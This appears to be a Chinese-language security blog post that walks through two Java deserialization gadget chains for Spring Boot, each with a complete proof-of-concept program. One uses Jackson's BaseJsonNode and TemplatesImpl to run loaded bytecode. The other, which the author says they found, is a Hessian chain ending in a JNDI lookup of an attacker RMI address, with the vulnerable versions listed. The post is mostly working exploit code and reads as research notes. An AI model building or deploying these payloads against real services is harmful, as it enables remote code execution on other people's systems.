Java反序列化Spring-Boot篇

0x00 前言

Spring-Boot框架被广泛应用,所以有必要学习一些与其相关的链子。

0x01 gadget1

流程:

1
2
3
4
5
6
7
/**
* hashMap#put()->
* HotSwappableTargetSource#equals()->
* Xstring#equals()->
* BaseJsonNode#toString()->
* templatesImpl#getOutputProperties()
*/

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package SpringBoot;

import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.node.BaseJsonNode;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;

import org.apache.ibatis.javassist.ClassPool;
import org.apache.ibatis.javassist.CtClass;
import org.apache.ibatis.javassist.CtMethod;
import org.springframework.aop.target.HotSwappableTargetSource;
import sun.reflect.ReflectionFactory;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Properties;

/**
* hashMap#put()->
* HotSwappableTargetSource#equals()->
* Xstring#equals()->
* BaseJsonNode#toString()->
* templatesImpl#getOutputProperties()
*/

public class gadget1 {
public static void main(String[] args) throws Exception {
// 去除BaseJsonNode的writeReplace方法
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();

TemplatesImpl templatesImpl = getTemplatesImpl();
JsonNode jsonNode = new POJONode(templatesImpl);
XString xString = new XString("1");
// XString不可以是HotSwappableTargetSource初始化的参数,会导致HashMap反序列化时的mappings=1
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource("1");
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource("2");
HashMap hashMap = new HashMap();
hashMap.put(hotSwappableTargetSource1, 1);
hashMap.put(hotSwappableTargetSource2, 2);
setFieldValue(hotSwappableTargetSource1, "target", jsonNode);
setFieldValue(hotSwappableTargetSource2, "target", xString);
byte[] serialize = serialize(hashMap);
deserialize(serialize);
}

public static TemplatesImpl getTemplatesImpl() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:\\all_test\\test_java\\com\\Unserialize\\Rome\\target\\classes\\Calc.class"));
setFieldValue(templates, "_name", "Pax");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
return templates;
}

public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Class clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

public static <T> byte[] serialize(T o) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static <T> T deserialize(byte[] codes) throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(codes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return (T) objectInputStream.readObject();
}

}

tip:

在最开始,删除了BaseJsonNode的writeReplace方法,不然在序列化时会调用一次BaseJsonNode的toString方法,导致无法生成Payload。

0x02 自己挖的链子

只能打Hessian,因为SimpleJndiBeanFactory没有实现Serializable接口,而Hessian无需该接口便可以实现序列化和反序列化。

调用链:

1
2
3
4
5
6
7
8
hessian2Input.readObject() ->
treeMap.put(in.readObject(), in.readObject()) ->
treeMap.compare(key, key) ->
(Comparable<? super K>)k1).compareTo((K)k2) ->
ObjectFactoryDelegatingInvocationHandler.invoke(Object proxy, Method method, Object[] args) ->
TargetBeanObjectFactory.getObject() ->
SimpleJndiBeanFactory.getBean(String name) ->
JndiTemplate.lookup(final String name)

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import org.springframework.beans.factory.ObjectFactory;
import org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import sun.reflect.ReflectionFactory;

import java.io.*;
import java.lang.reflect.*;
import java.util.*;

import static Utils.Utils.*;

public class Gadget {
public static void main(String[] args) throws Exception {

SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();

ObjectFactoryCreatingFactoryBean objectFactoryCreatingFactoryBean = new ObjectFactoryCreatingFactoryBean();
// 设置父类的值:beanFactory
Field beanFactory = Class.forName("org.springframework.beans.factory.config.AbstractFactoryBean").getDeclaredField("beanFactory");
beanFactory.setAccessible(true);
beanFactory.set(objectFactoryCreatingFactoryBean, simpleJndiBeanFactory);
// 设置值:targetBeanName
setFieldValue(objectFactoryCreatingFactoryBean, "targetBeanName", "rmi://xxx.xxx.xxx.xxx:50388/75737f");
//得到:targetBeanObjectFactory
Method createInstance = objectFactoryCreatingFactoryBean.getClass().getDeclaredMethod("createInstance");
createInstance.setAccessible(true);
ObjectFactory targetBeanObjectFactory = (ObjectFactory) createInstance.invoke(objectFactoryCreatingFactoryBean);

Constructor<?> declaredConstructor = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredConstructor(ObjectFactory.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(targetBeanObjectFactory);

Comparable comparable = (Comparable) Proxy.newProxyInstance(Comparable.class.getClassLoader(),
new Class[]{Comparable.class},
invocationHandler);

TreeMap<Object, Object> treeMap = gadgetFromTreeMap(comparable);
String s = serialize(treeMap);
deserialize(s);
}





public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Class clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

public static TreeMap<Object, Object> gadgetFromTreeMap(Object o) throws Exception {
TreeMap<Object, Object> treeMap = new TreeMap<>();
treeMap.put(1, 1);
// 获取TreeMap的root节点
Field rootField = TreeMap.class.getDeclaredField("root");
rootField.setAccessible(true);
Object rootEntry = rootField.get(treeMap);
// 获取Entry的key字段
Field keyField = rootEntry.getClass().getDeclaredField("key");
keyField.setAccessible(true);
// 修改key
keyField.set(rootEntry, o);
return treeMap;
}
public static <T> String serialize(T object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

public static <T> T deserialize(String string) throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
return (T) hessian2Input.readObject();
}
}

版本限制:

  1. Hessian最新版本4.0.66,目前通杀

  2. JDK < 8u191 (JNDI限制)

  3. Spring-context < 6.0.0 (6.0.0之后版本对JDK版本有限制)

相关依赖:

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.66</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.39</version>
</dependency>
</dependencies>

0x03 结语

yso给的两条Spring链子就先不看了。说来有趣,我自己挖的那一条还是在刚开始学yso的Spring1时随便翻翻,正好一眼看到lookup方法才开始探索的。